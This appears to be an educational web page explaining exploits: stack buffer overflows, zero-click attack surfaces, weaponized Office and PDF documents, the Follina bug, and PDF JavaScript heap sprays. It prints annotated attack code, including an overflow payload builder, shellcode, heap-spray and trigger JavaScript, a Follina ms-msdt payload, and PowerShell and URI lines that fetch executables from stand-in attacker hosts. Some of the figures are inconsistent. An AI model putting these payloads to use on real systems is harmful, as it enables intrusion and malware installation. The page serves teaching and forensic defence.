The World of Exploits

What Are Exploits?

An exploit is a piece of code, data, or sequence of commands that takes advantage of a vulnerability (a bug or design flaw) in software to cause unintended behaviour — crashing systems, escalating privileges, or executing arbitrary code on a target machine. Exploits are the primary tool used by attackers, penetration testers, and nation-state cyber units to gain unauthorized access to systems.

Exploits range from simple buffer overflows (where too much data is written into a fixed-size memory region, overwriting control structures) to sophisticated, multi-stage attack chains that can compromise a device with zero user interaction. Some exploits require the victim to click a link or open a file (one-click). Others fire automatically when a message, image, or network packet is received by a vulnerable application (zero-click). Understanding how they work — step by step — is the first line of defense for any cybersecurity professional.

Calculations Behind Every Exploit

Every exploit is a math problem. Before any code is written, the attacker must calculate: how many bytes to write, what address to overwrite, how to convert a URL into hex, how to align shellcode in memory, and how to translate between decimal, hexadecimal, and binary. This section breaks down every calculation step-by-step so you see exactly how the numbers work.

// This is the ACTUAL vulnerable function inside a PDF reader / document parser.
// The programmer allocated a fixed-size buffer but used an UNSAFE copy function.

void parse_document_title(char *incoming_doc_data) {
    char title_buffer[50];  // The application allocates exactly 50 bytes for the title
    
    // VULNERABILITY: strcpy() does NOT check the length of incoming data!
    // If the attacker puts 200 bytes in the document's title field,
    // it violently overflows title_buffer, spilling into adjacent memory
    // and overwriting the saved EBP and saved EIP on the stack.
    strcpy(title_buffer, incoming_doc_data);  // ← THE BUG
}

// WHY THIS IS DANGEROUS:
// title_buffer sits on the stack. Right after it (at higher addresses) are:
//   - Saved EBP (4 bytes) — the previous function's base pointer
//   - Saved EIP (4 bytes) — the RETURN ADDRESS (where the CPU goes next)
// If the attacker writes 50 + 4 + 4 = 58 bytes, they control EIP!

// SAFE ALTERNATIVE: strncpy(title_buffer, incoming_doc_data, sizeof(title_buffer) - 1);
// This limits the copy to 49 bytes maximum — no overflow possible.

# ═══════════════════════════════════════════════════
# THE TOOL PROVISIONING LOGIC
# This is how an attacker builds the overflow payload.
# Every byte is calculated and placed precisely.
# ═══════════════════════════════════════════════════

from struct import pack

# ── Configuration (from fuzzing/debugging) ──
buffer_limit = 64              # The 'safe' buffer size (found by reversing the binary)
target_eip   = b"\xef\xbe\xad\xde"  # The hijacked address: 0xDEADBEEF (little-endian!)

# THE MATH:
# buffer_limit = 64 bytes (the vulnerable buffer's allocated size)
# We need EXACTLY 64 bytes of junk to fill the buffer completely.
# The next 4 bytes on the stack ARE the saved EIP (return address).
# By writing 64 + 4 = 68 bytes, we overwrite EIP with our target.

# 1. Fill the buffer with 'A's (0x41 in hex)
padding = b"A" * buffer_limit
# Result: b"AAAAAAAAAA...AAAA" (64 bytes)
# In hex: 41 41 41 41 41 41 41 41 ... (64 times)

# 2. Append the target return address
# Because we filled EXACTLY 64 bytes, these next 4 bytes
# spill over the buffer boundary and overwrite saved EIP
overflow = padding + target_eip
# Result: b"AAAA...AAAA\xef\xbe\xad\xde" (68 bytes)
# Memory: [41 41 41 41 ...×64... 41 41 41 41] [EF BE AD DE]
#          ← buffer (filled) →                ← EIP (hijacked!) →

# 3. Add the shellcode (the actual malicious instructions)
shellcode = b"\x90\x90\x90\x90"  # NOP sled (0x90 = "do nothing")
shellcode += b"\x31\xc0"         # xor eax, eax (clear register)
shellcode += b"\x50"             # push eax (push NULL onto stack)
shellcode += b"\x68\x2f\x2f\x73\x68"  # push "//sh" (the command to run)
# ... more instructions to download & execute payload ...

# 4. ASSEMBLE THE FINAL ATTACK STRING
final_attack_string = overflow + shellcode

print(f"Buffer size:  {buffer_limit} bytes (junk padding)")
print(f"EIP target:   {target_eip.hex()} → 0xDEADBEEF")
print(f"Shellcode:    {len(shellcode)} bytes")
print(f"Total attack: {len(final_attack_string)} bytes")
print()
print(f"Layout in memory:")
print(f"[{'A'*8}...×{buffer_limit}...{'A'*8}] [EFBEADDE] [9090...shellcode]")
print(f" ←── {buffer_limit} bytes (junk) ──→  ← 4B EIP → ← {len(shellcode)}B code →")

# ═══════════════════════════════════════════════════
# A hacker uses Python to turn a URL into Hex for the Shellcode
# This is how the URL becomes invisible to antivirus scanners.
# ═══════════════════════════════════════════════════

url = "https://putty.exe"

# Convert each character to its \x## hex representation
hex_url = "".join(["\\x%02x" % ord(c) for c in url])
print(f"Original URL:  {url}")
print(f"Hex Encoded:   {hex_url}")
print()

# Step-by-step: what ord() and %02x do for each character:
#   'h' → ord('h') = 104 → hex(104) = 0x68 → "\x68"
#   't' → ord('t') = 116 → hex(116) = 0x74 → "\x74"
#   't' → ord('t') = 116 → hex(116) = 0x74 → "\x74"
#   'p' → ord('p') = 112 → hex(112) = 0x70 → "\x70"
#   's' → ord('s') = 115 → hex(115) = 0x73 → "\x73"
#   ':' → ord(':') =  58 → hex(58)  = 0x3a → "\x3a"
#   '/' → ord('/') =  47 → hex(47)  = 0x2f → "\x2f"
#   '/' → ord('/') =  47 → hex(47)  = 0x2f → "\x2f"
#   ... and so on for every character

# RESULT for "https://putty.exe":
# \x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x75\x74\x74\x79\x2e\x65\x78\x65

# Now build the shellcode: machine code + the hex URL string
shellcode  = b"\x31\xc0"      # xor eax, eax    (clear EAX register)
shellcode += b"\x50"          # push eax        (push NULL terminator)
shellcode += b"\x68"          # push DWORD      (push 4 bytes of URL onto stack)
shellcode += url[-4:].encode()  # ".exe" as raw bytes
shellcode += b"\x89\xe3"      # mov ebx, esp    (EBX now points to URL string)
shellcode += b"\x50"          # push eax        (more stack setup...)
shellcode += b"\x53"          # push ebx        (push URL pointer as arg)

print(f"Shellcode bytes: {shellcode.hex()}")
print(f"Shellcode size:  {len(shellcode)} bytes")
print()
print("What antivirus sees: 31c050682e65786589e35053")
print("What it ACTUALLY is: xor eax;push;push '.exe';mov ebx,esp;push;push")

From Document to Full Compromise

Modern attacks rarely use a single exploit. A document exploit is just the initial access — the first step in a multi-stage operation. Below is a realistic attack chain (based on real APT campaigns) showing how a single weaponized document leads to complete network compromise. Each step represents a different tool or technique, and each step is a potential detection point where defenders can break the chain.

Invisible Intrusions

Zero-click exploits are the pinnacle of offensive security research. The victim does nothing — no link clicked, no file opened, no permission granted. The exploit fires automatically when data is received and processed by a vulnerable parser. The attacker sends a specially crafted message, image, or data packet to the target device. The device's software automatically processes this incoming data, triggering the vulnerability before the user ever sees a notification.

How They Work — The Technical Flow

Most zero-click exploits target message parsing code — the part of an application that automatically processes incoming data before the user even sees it. Here is the exact sequence of events in a typical zero-click attack:

// Zero-Click Attack Flow — Step by Step

STEP 1: ATTACKER SENDS CRAFTED DATA
  → Attacker sends a message/image/file to the target
  → The data contains a carefully crafted malformed structure
  → Example: a PNG image with an oversized IDAT chunk header
  → The target device receives this over the network

STEP 2: AUTOMATIC PARSING BEGINS
  → The app's background process picks up the incoming data
  → It calls the relevant parser (image decoder, PDF renderer, etc.)
  → This happens BEFORE the user sees any notification
  → The parser starts reading the crafted data byte-by-byte

STEP 3: VULNERABILITY TRIGGERS
  → The malformed data causes an unexpected condition:
     • Integer overflow → allocates too-small buffer
     • Heap overflow → writes past allocated memory
     • Type confusion → treats data as wrong object type
     • Use-after-free → accesses memory already freed
  → The attacker now controls part of the process memory

STEP 4: CODE EXECUTION
  → Controlled memory corruption redirects code execution
  → Attacker's shellcode runs in the context of the app
  → Downloads and installs spyware (e.g., Pegasus, Predator)
  → Achieves persistence across reboots

STEP 5: THE USER SEES NOTHING
  → The crafted message may be deleted automatically
  → No crash, no notification, no trace
  → The device is fully compromised

The common zero-click attack surfaces are:

• iMessage (iOS) — Image and file parsers (CoreGraphics, ImageIO) invoked when a message arrives. Apple's iMessage automatically renders image previews, PDF thumbnails, and link previews — every one of these renderers is a potential zero-click vector. FORCEDENTRY exploited the JBIG2 decoder inside CoreGraphics.
• WhatsApp — VoIP calling stack processes attacker-crafted SRTP/RTCP packets. When someone calls you on WhatsApp, the app's VoIP engine must process the incoming call signaling data to ring your phone. A buffer overflow in this parsing code (CVE-2019-3568) allowed Pegasus installation — the call didn't even need to be answered.
• SMS/MMS — Multimedia messages are parsed automatically on receipt. The Android Stagefright bug (2015) allowed code execution via a crafted MP4 video sent as MMS. The phone's media server parsed the video metadata before displaying it, triggering a heap overflow.
• Email clients — Rich HTML/image rendering on notification preview. Email apps that preview HTML content or auto-download images run complex rendering engines that can be exploited. Outlook has had multiple zero-click vulnerabilities in its preview pane.
• Wi-Fi/Bluetooth stacks — Packets parsed at the OS kernel level. Your device's Wi-Fi chip constantly listens for management frames. A malformed Wi-Fi frame can trigger a bug in the Wi-Fi firmware or driver, giving the attacker kernel-level code execution without any network connection being established.

Notable Zero-Click Attacks — Case Studies

Weaponized Documents

Document exploits turn familiar file formats — Word (.docx), Excel (.xlsx), PDF (.pdf), RTF (.rtf), and PowerPoint (.pptx) — into weapons. Because users trust documents (they receive invoices, resumes, contracts, and reports daily), weaponized documents remain one of the most effective initial access vectors in real-world attacks. The attacker crafts a file that looks completely normal when opened — it displays the expected content (an invoice, a report, a chart). But hidden inside the file's internal structure are malicious payloads that execute code the moment the application parses them.

Document formats are inherently complex. The PDF specification alone is over 1,000 pages. Microsoft's Office Open XML format contains dozens of XML namespaces with hundreds of features. This complexity means there are thousands of code paths in the parser — and each code path is a potential vulnerability. Below are the eight primary techniques attackers use to weaponize documents.

The Major Attack Surfaces

Document Exploit: Anatomy — The Full Attack Flow

Every document exploit follows a similar pattern: delivery → trigger → execution → post-exploitation. Here is a detailed breakdown showing exactly what happens at each stage, including what code or data is involved and what the system sees:

// Complete anatomy of a document exploit chain
// This shows EXACTLY what happens at each stage

STAGE 1: DELIVERY
  → Attacker crafts a phishing email:
     From: accounting@acme-corp.net (spoofed domain)
     Subject: "Invoice #2024-0342 — Payment Overdue"
     Attachment: Invoice_March_2024.pdf (6.8 KB)
  → The PDF looks like a legitimate invoice when opened
  → The recipient is in Accounts Payable — they open invoices daily
  → The file passes the email gateway's antivirus scan
     (because the payload is compressed/obfuscated inside a stream)

STAGE 2: TRIGGER — What Happens When the File Opens
  → The user double-clicks the PDF attachment
  → Adobe Reader (or the system PDF viewer) launches
  → The reader parses the PDF's object structure:
     Object 1: Catalog → finds /OpenAction → follows reference
     Object 7: Action → type is /JavaScript → loads JS engine
     Object 9: Stream → FlateDecode decompresses 4,821 bytes
  → The decompressed JavaScript begins executing immediately
  → The user sees the invoice on screen — nothing looks wrong

STAGE 3: EXPLOITATION — The JavaScript Payload Executes
  → The JavaScript performs three operations:
     1. DECODE: Converts hex-encoded shellcode to binary
        var sc = unescape("%ue8fc%u8200%u0000%u6089...");
     2. HEAP SPRAY: Fills 200MB of memory with shellcode copies
        for(i=0; i<200; i++) spray[i] = nopsled + shellcode;
     3. TRIGGER: Calls a vulnerable Reader API function
        Collab.collectEmailInfo({subj: "A".repeat(0x4141)});
  → The API function has a buffer overflow vulnerability
  → The oversized string overflows the buffer, overwrites EIP
  → EIP now points to 0x0C0C0C0C (inside the sprayed heap)
  → CPU jumps to the NOP sled → slides into shellcode
  → The attacker now has code execution in the Reader process

STAGE 4: POST-EXPLOITATION — Full Compromise
  → Shellcode downloads second-stage payload:
     URLDownloadToFileA("http://c2.attacker.com/beacon.exe")
  → Beacon.exe is a Cobalt Strike implant that:
     • Establishes encrypted C2 channel to attacker's server
     • Uses kernel exploit for SYSTEM privilege escalation
     • Dumps credentials with Mimikatz
     • Moves laterally across the network via SMB/WMI
     • Discovers domain controller, becomes Domain Admin
  → Data exfiltration begins — or ransomware deploys
  → The entire chain: email → PDF → JavaScript → shellcode → beacon
     took less than 3 seconds from the moment the file was opened

Follina Deep Dive (CVE-2022-30190) — Complete Technical Breakdown

Follina was a game-changer because it achieved remote code execution without macros, without "Enable Content" prompts, and even from the Windows Explorer preview pane. Here is exactly how the exploit works, step by step, with every component explained:

// Follina Attack Flow (CVE-2022-30190) — Full Technical Detail

1. THE DOCUMENT STRUCTURE
   Attacker creates a .docx file (which is a ZIP archive containing XML).
   Inside the ZIP, they modify: word/_rels/document.xml.rels
   They add an external OLE object reference:

   <Relationship Id="rId1337"
     Type="http://schemas.openxmlformats.org/officeDocument/
           2006/relationships/oleObject"
     Target="https://attacker-server.com/payload.html"
     TargetMode="External" />

   The .docx itself contains NO malicious code — it just has a URL.

2. WORD FETCHES THE REMOTE PAYLOAD
   → User opens the .docx (or just hovers over it in Explorer)
   → Word parses document.xml.rels, finds the external relationship
   → Word makes an HTTP GET request to the attacker's server
   → The server responds with an HTML file:

3. THE HTML PAYLOAD (served by attacker)
   <!DOCTYPE html>
   <html><body>
   <script>
     window.location.href = "ms-msdt:/id PCWDiagnostic
       /skip force /param \"IT_RebrowseForFile=cal?c
       IT_LaunchMethod=ContextMenu
       IT_SelectProgram=NotListed
       IT_BrowseForFile=h]$(IEX('powershell -e JABjAGw...'))
       i]/../../../../../../../../../../../temp/doc.html\";";
   </script>
   </body></html>

4. MSDT EXECUTES THE PAYLOAD
   → The ms-msdt: URI launches Microsoft Support Diagnostic Tool
   → MSDT parses the /param arguments
   → The IT_BrowseForFile parameter contains a PowerShell command
     wrapped in $() — which MSDT executes as part of path expansion
   → PowerShell runs with the user's full privileges
   → The base64-encoded command (JABjAGw...) decodes to:
     $c=New-Object Net.WebClient;
     $c.DownloadFile('http://c2.evil.com/shell.exe','C:\Temp\s.exe');
     Start-Process 'C:\Temp\s.exe'

5. RESULT: FULL REMOTE CODE EXECUTION
   → No macro prompt — this isn't a macro attack
   → No "Enable Content" — there's no VBA code
   → Protected View was bypassed in RTF files (no sandbox at all)
   → Even the Explorer Preview Pane triggered the exploit
   → The user saw a normal document. The system was fully compromised.

// Impact: Affected all Windows versions with Office installed.
// Patched in June 2022. Exploited in the wild by APT groups
// including Chinese state-sponsored actors targeting US/EU.

Inside a PDF Exploit

PDF files aren't just static pages — the PDF specification (ISO 32000, over 1,000 pages) supports embedded JavaScript, form actions, URI handlers, launch actions, complex stream objects, and encrypted content. Adobe Reader includes a full JavaScript engine (based on SpiderMonkey) that can execute code embedded inside PDF objects. Attackers weaponize these features to run arbitrary code the instant a PDF is opened.

A PDF file is structured as a collection of numbered objects. Each object has a type and properties defined by key-value pairs. Objects can reference other objects by number. The root of the document is the Catalog (always Object 1), which points to the page tree, which points to individual pages, which point to content streams containing the actual text and graphics. Hidden among these legitimate objects, an attacker adds JavaScript Action objects and compressed payload streams that execute automatically on open.

Below, we show two complete PDF files opened in a text editor — every single line of their internal structure is visible. The first is a clean, legitimate invoice. The second is the same invoice after an attacker has weaponized it by injecting three additional objects and modifying one line of the Catalog. Understanding the difference between these two files is the core of PDF forensics.

Clean vs. Exploited — Raw "Notepad" View

If you open any PDF file in Notepad (or a hex editor), you will see its raw internal structure. A PDF is not a binary blob — it's a structured text format containing numbered objects, each with a type and properties. Below are two complete PDFs: a legitimate invoice, and the same invoice after an attacker has weaponized it. Every single line is shown — nothing is skipped.

How Each Exploit Type Works Internally

Different document formats are exploited in fundamentally different ways. Use the tabs below to explore each technique:

// DECODED from the FlateDecode stream — this is what runs
// when the PDF opens in a vulnerable Adobe Reader

var shellcode = unescape(
  "%u4141%u4141%u4242%u4242" + // NOP sled (encoded as Unicode)
  "%ue8fc%u0082%u0000%u8960" + // Shellcode start
  "%ue531%u64f0%u508b%u8b30" + // PEB walk to find kernel32
  "%u0c52%u528b%u8b14%u2872" + // Locate LoadLibraryA
  "%u18b1%u50ff%u3368%u6832" + // Resolve API addresses
  // ... hundreds more bytes ...
);

// HEAP SPRAY — fill memory with shellcode copies
var spray = new Array();
var chunk = "";

// Build a 1MB block: NOP sled + shellcode
var nopsled = unescape("%u0c0c%u0c0c");
while (nopsled.length < 0x100000) {
  nopsled += nopsled;
}
chunk = nopsled.substring(0, 0x100000 - shellcode.length);

// Spray 200 copies across the heap (~200 MB)
for (var i = 0; i < 200; i++) {
  spray[i] = chunk + shellcode;
}

// TRIGGER — exploit vulnerability in Collab.collectEmailInfo()
// Buffer overflow overwrites saved EIP → lands in NOP sled
Collab.collectEmailInfo({subj: "A".repeat(0x4141)});

{\rtf1\ansi\deff0
{\fonttbl{\f0 Calibri;}}
\pard Invoice #2024-0342 — Acme Corp\par
\pard Total Due: $4,250.00\par

{\* This part looks normal to the reader}

{\object\objemb\objw1\objh1    ◄ EMBEDDED OLE OBJECT
{\*\objclass Equation.3}      ◄ Targets Equation Editor
{\*\objdata
01050000                       ◄ OLE header
02000000                       ◄ Format ID
0B0000004571756174696F6E    ◄ "Equation" in hex
2E33000000000000000000
0000000000
1C00000002000000E9FF        ◄ Overflow starts here
BF0000000000                 ◄ Overwrites return addr
41414141                       ◄ 0x41414141 = "AAAA"
FC E8 82 00 00 00 60 89    ◄ Shellcode begins
E5 31 C0 64 8B 50 30 8B    ◄ PEB walk...
... more shellcode bytes ...
}}
}

<!-- .docx files are ZIP archives containing XML -->
<!-- This is from word/document.xml -->

<w:body>
  <w:p><w:r><w:t>Please review the attached report.</w:t></w:r></w:p>

  <!-- Normal paragraph above, but then... -->

  <w:p>
    <w:r>
      <w:object>
        <o:OLEObject
          Type="Embed"
          ProgID="Package"
          ShapeID="_x0000_i1025"
          DrawAspect="Icon"
          ObjectID="_1234567890"
          r:id="rId8" />          ◄ Embedded object
      </w:object>
    </w:r>
  </w:p>
</w:body>

<!-- The relationship file (word/_rels/document.xml.rels) maps rId8 -->
<!-- to an embedded object in word/embeddings/oleObject1.bin -->
<!-- That .bin can contain: -->
<!--   • An Equation Editor exploit (CVE-2017-11882) -->
<!--   • A Flash SWF exploit -->
<!--   • An ActiveX control that downloads malware -->
<!--   • A packaged .exe disguised as a PDF icon -->

<Relationships>
  <Relationship Id="rId1" Type="...normal-template..." 
    Target="file:///Normal.dotm" />

  <Relationship Id="rId8"
    Type="...attachedTemplate..."
    Target="https://evil.example/template.dotm"
    TargetMode="External" />     ◄ Fetches from attacker server!
</Relationships>

<!-- When Word opens this document, it automatically -->
<!-- fetches template.dotm from the attacker's server. -->
<!-- The template contains the actual macro/exploit. -->
<!-- The original .docx file is CLEAN — no detections! -->

PDF Exploit Lifecycle — From Open to Owned

When a victim opens a weaponized PDF, the following chain of events fires automatically. Each phase takes milliseconds. The entire sequence — from file open to full code execution — completes in under 2 seconds. The user sees a normal invoice on screen the entire time.

The Complete Weaponized PDF — Annotated Line by Line

Below is the complete source code of a weaponized PDF file with every single object annotated. The 8 numbered comments reveal exactly where the attacker planted each trap. A legitimate PDF only needs Objects 1-6. Objects 7, 8, and 9 are the weapons the attacker added.

%PDF-1.4

/* ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ① THE TRAP DOOR (/OpenAction)
   This is Object 1 — the Catalog — the root
   of the entire PDF. It looks normal except
   for ONE added line: /OpenAction 7 0 R
   This tells the reader: "When you open this
   file, IMMEDIATELY execute whatever Object 7
   says to do." The user never sees this happen.
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ */

1 0 obj
<<
  /Type /Catalog
  /Pages 2 0 R              ← normal: points to the page tree
  /OpenAction 7 0 R         ← ★ THE TRAP: auto-execute Object 7 on file open
>>
endobj

/* ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ② THE VISIBLE PAGES (Objects 2-6)
   These are 100% legitimate. They define the
   invoice the user sees on screen — fonts,
   layout, text content. Nothing suspicious.
   They exist solely to make the file look real.
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ */

2 0 obj
<<
  /Type /Pages
  /Kids [3 0 R]
  /Count 1
>>
endobj

3 0 obj
<<
  /Type /Page
  /Parent 2 0 R
  /MediaBox [0 0 612 792]   ← US Letter size (612×792 points)
  /Contents 4 0 R
  /Resources << /Font << /F1 5 0 R >> >>
>>
endobj

4 0 obj                              ← page content stream (the visible invoice text)
<< /Length 342 >>
stream
BT
/F1 16 Tf 50 750 Td (INVOICE #2024-0342) Tj
/F1 10 Tf 50 720 Td (Acme Corp) Tj
50 700 Td (Total Due: $4,250.00) Tj
ET
endstream
endobj

5 0 obj                              ← font definition
<<
  /Type /Font
  /Subtype /Type1
  /BaseFont /Helvetica
>>
endobj

6 0 obj                              ← font descriptor (optional)
<<
  /Type /FontDescriptor
  /FontName /Helvetica
>>
endobj

/* ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ③ THE WEAPON (Object 7 — JavaScript Action)
   This is what /OpenAction points to.
   It tells the reader: "Run this JavaScript."
   The /JS key contains the actual code, and
   /Next chains to Object 8 for reliability
   (if Object 7 fails, try Object 8 instead).
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ */

7 0 obj
<<
  /Type /Action
  /S /JavaScript             ← action type: execute JavaScript
  /JS 9 0 R                  ← the JavaScript code is in Object 9 (compressed)
  /Next 8 0 R                ← backup: if this fails, try Object 8 next
>>
endobj

/* ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ④ THE EMBEDDED URL (Object 8 — Backup Action)
   A fallback action that launches a URI if the
   JavaScript route fails. Some PDF readers
   block JS but still allow URI actions.
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ */

8 0 obj
<<
  /Type /Action
  /S /URI
  /URI (https://evil.example/stage2.exe)   ← direct download fallback
>>
endobj

/* ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ⑤ THE SHELLCODE + ⑥ NOP SLED + ⑦ HEAP SPRAY
   Object 9 is the compressed JavaScript stream.
   When decompressed (FlateDecode), it reveals
   the full exploit payload: shellcode definition,
   NOP sled generation, heap spray execution,
   and the vulnerability trigger function call.
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ */

9 0 obj
<<
  /Length 4821
  /Filter /FlateDecode       ← compressed! Use pdf-parser to decompress
>>
stream
[...4,821 bytes of zlib-compressed JavaScript...
 When decompressed, this becomes the heap spray + trigger
 code shown in the "JS Heap Spray" section below         ]
endstream
endobj

/* ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ⑧ THE TRIGGER (xref + trailer)
   The cross-reference table tells the reader
   where each object starts (byte offsets).
   The trailer points to the Catalog (Object 1)
   which starts the entire chain:
   Trailer → Catalog → /OpenAction → Object 7
   → JavaScript → Object 9 → Heap Spray →
   Trigger Overflow → EIP Hijack → Shellcode
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ */

xref
0 10
0000000000 65535 f       ← Object 0 (free — always present)
0000000009 00000 n       ← Object 1 at byte 9 (Catalog + trap)
0000000115 00000 n       ← Object 2 at byte 115 (Pages)
0000000169 00000 n       ← Object 3 at byte 169 (Page)
0000000330 00000 n       ← Object 4 at byte 330 (visible content)
0000000721 00000 n       ← Object 5 at byte 721 (font)
0000000805 00000 n       ← Object 6 at byte 805 (font descriptor)
0000000889 00000 n       ← Object 7 at byte 889 (★ JS Action)
0000001052 00000 n       ← Object 8 at byte 1052 (★ URI fallback)
0000001188 00000 n       ← Object 9 at byte 1188 (★ compressed payload)

trailer
<<
  /Size 10
  /Root 1 0 R                ← Start here → Catalog → /OpenAction → BOOM
>>
startxref
6009                         ← byte offset of the xref table itself
%%EOF

The JavaScript Heap Spray — Step by Step

This is what's hiding inside Object 9 after decompression. Each of the 8 steps is annotated to show exactly what the JavaScript does, why it does it, and the math behind each operation.

// ═══════════════════════════════════════════════════
// STEP ① — THE SHELLCODE (the actual weapon)
// This is raw machine code encoded as a JavaScript
// string using %u (unicode escape) format.
// When decoded: FC E8 82 00 00 00 60 89 E5 31 C0...
// This code downloads & executes a remote payload.
// ═══════════════════════════════════════════════════

var shellcode = unescape(
    "%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30" +
    "%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac" +
    "%u7c61%u2c02%ucf20%u0dc1%uc701%uf2e2%u5752%u528b" +
    "%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059"
    /* ... ~340 bytes total when decoded ... */
);

// MATH: Each %uXXYY = 2 bytes. The string has ~170
// %u sequences → 170 × 2 = 340 bytes of machine code.
// In memory: FC E8 82 00 00 00 60 89 E5 31 C0 64...

// ═══════════════════════════════════════════════════
// STEP ② — THE NOP SLED (the landing zone)
// 0x0C = the NOP-equivalent byte. As a %u escape,
// two 0x0C bytes = %u0c0c. This creates a tiny seed
// string of NOP bytes that we'll exponentially grow.
// ═══════════════════════════════════════════════════

var junk_code = unescape("%u0c0c%u0c0c");

// Result: 4 bytes → 0C 0C 0C 0C
// This is the "seed" — we double it until it's huge.

// ═══════════════════════════════════════════════════
// STEP ③ — NOP SLED EXPANSION (exponential doubling)
// We double the NOP string in a loop until it reaches
// 0x40000 (262,144) bytes. This takes only ~16 loops
// because 4 × 2^16 = 262,144. Exponential growth!
// ═══════════════════════════════════════════════════

while (junk_code.length < 0x40000) {
    junk_code += junk_code;   // double the string each iteration
}
// Loop trace:
//   Start:  4 bytes
//   Loop 1: 8 bytes        (4+4)
//   Loop 2: 16 bytes       (8+8)
//   Loop 3: 32 bytes       (16+16)
//   ...     (doubles each iteration)
//   Loop 16: 262,144 bytes (0x40000) → STOP
// Total: 262,144 bytes = 256 KB of 0C 0C 0C 0C...

// ═══════════════════════════════════════════════════
// STEP ④ — ASSEMBLING THE SPRAY BLOCK
// Each block = NOP sled (from step 3) + shellcode.
// We trim the NOP sled so the total = exactly 1MB.
// Block structure: [0C0C0C...×1MB-340B] [shellcode]
// ═══════════════════════════════════════════════════

var spray_block = junk_code.substring(0, 0x40000 - shellcode.length);

// MATH: 0x40000 = 262,144 bytes
// 262,144 - 340 (shellcode) = 261,804 bytes of NOP sled
// NOP % = 261,804 / 262,144 = 99.87% landing zone!

spray_block += shellcode;   // append the weapon at the end

// Result: [0C 0C 0C 0C ... × 261,804 bytes ...] [FC E8 82 00 ...]
//          ← NOP sled (safe landing zone) →     ← shellcode →

// ═══════════════════════════════════════════════════
// STEP ⑤ — SPRAYING THE HEAP (filling memory)
// We create 200 copies of the spray block in a JS
// array. Each copy gets its own heap allocation.
// 200 × 262,144 = 52,428,800 bytes ≈ 50MB minimum
// (JS string overhead pushes actual usage to ~200MB)
// ═══════════════════════════════════════════════════

var spray_array = new Array();
for (var i = 0; i < 200; i++) {
    spray_array[i] = spray_block.substring(0, spray_block.length);
}

// Each spray_array[i] holds a unique copy of the spray block.
// .substring(0, length) forces a NEW string allocation each time
// (prevents JS engine from just sharing a reference).
//
// After this loop, the process heap looks like:
// [block 0][block 1][block 2]...[block 199]
// Each block = 256KB of NOP+shellcode
// Total sprayed = 200 × 256KB = ~50MB of raw data
// With JS overhead: ~200MB of heap consumed

// ═══════════════════════════════════════════════════
// STEP ⑥ — THE TARGET ADDRESS CHECK
// Address 0x0C0C0C0C = 201,326,592 decimal
// = ~192MB into the virtual address space.
// Our spray covers addresses from ~50MB to ~250MB.
// 192MB falls right in the middle → guaranteed hit!
// ═══════════════════════════════════════════════════

// ═══════════════════════════════════════════════════
// STEP ⑦ — TRIGGER THE VULNERABILITY
// Now we call a VULNERABLE Adobe Reader API with
// a string that's way too long. This overflows an
// internal buffer and overwrites EIP with 0x0C0C0C0C
// (which is inside our sprayed heap region).
// ═══════════════════════════════════════════════════

var evil_string = "";
for (var j = 0; j < 16705; j++) {
    evil_string += unescape("%u0c0c%u0c0c");   // fill with target address
}
// evil_string = 16,705 × 4 = 66,820 bytes of "0C 0C 0C 0C"
// This is WAY more than the internal buffer can hold.
// The overflow writes 0x0C0C0C0C over saved EIP on the stack.

Collab.collectEmailInfo({subj: evil_string});

// ═══════════════════════════════════════════════════
// STEP ⑧ — WHAT HAPPENS NEXT (automatic)
// 1. collectEmailInfo's internal buffer overflows
// 2. Saved EIP on stack → overwritten with 0x0C0C0C0C
// 3. Function returns → CPU jumps to 0x0C0C0C0C
// 4. Address 0x0C0C0C0C is inside our sprayed heap!
// 5. CPU executes NOP sled (0C 0C 0C 0C...)
// 6. NOP sled slides to shellcode
// 7. Shellcode: downloads and runs attacker's payload
// 8. Game over — attacker has code execution
// ═══════════════════════════════════════════════════

🔬 Exploit Workshop — Build Every Component Step by Step

Four interactive labs. Each one lets you type real values and watch them appear in the exploit code — showing exactly how each component is built. Left side = safe/normal, right side = exploited. Everything is static text rendered in your browser. Nothing executes. Nothing touches your PC.

#include <stdio.h>
#include <string.h>

// THE GOAL: Attacker wants to force
// the CPU to run this function.
// In reality = shellcode download.
void download_malware() {
    printf("COMPROMISED!\n");
}

// THE VULNERABLE FUNCTION
void parse_document(char *data) {
    char title_buffer[64];

    // ⚠ THE VULNERABILITY:
    // No length check before copy!
    strcpy(title_buffer, data);
    // strcpy copies until \0 — if data
    // is longer than 64, it overflows
    // into the stack frame above.

    printf("Title: %s\n", title_buffer);
}

int main(int argc, char *argv[]) {
    // App receives "document" data
    parse_document(argv[1]);
    return 0;
}

// Normal input:  "Quarterly Report"
//   → fits in 64 bytes, no overflow
//
// Attacker input: 64 bytes of junk
//   + 4 bytes (saved EBP)
//   + 4 bytes (return address → shellcode)
//   + NOP sled + shellcode
//
// When parse_document returns, EIP is
// hijacked → CPU runs shellcode.

%PDF-1.4

%% Object 1: Catalog (root of document)
1 0 obj
<<
  /Type /Catalog
  /Pages 2 0 R
>>
endobj

%% Object 2: Page Tree
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj

%% Object 3: Page definition
3 0 obj
<< /Type /Page /Parent 2 0 R
   /MediaBox [0 0 612 792]
   /Contents 5 0 R
   /Resources << /Font << /F1 4 0 R >> >> >>
endobj

%% Object 4: Font
4 0 obj
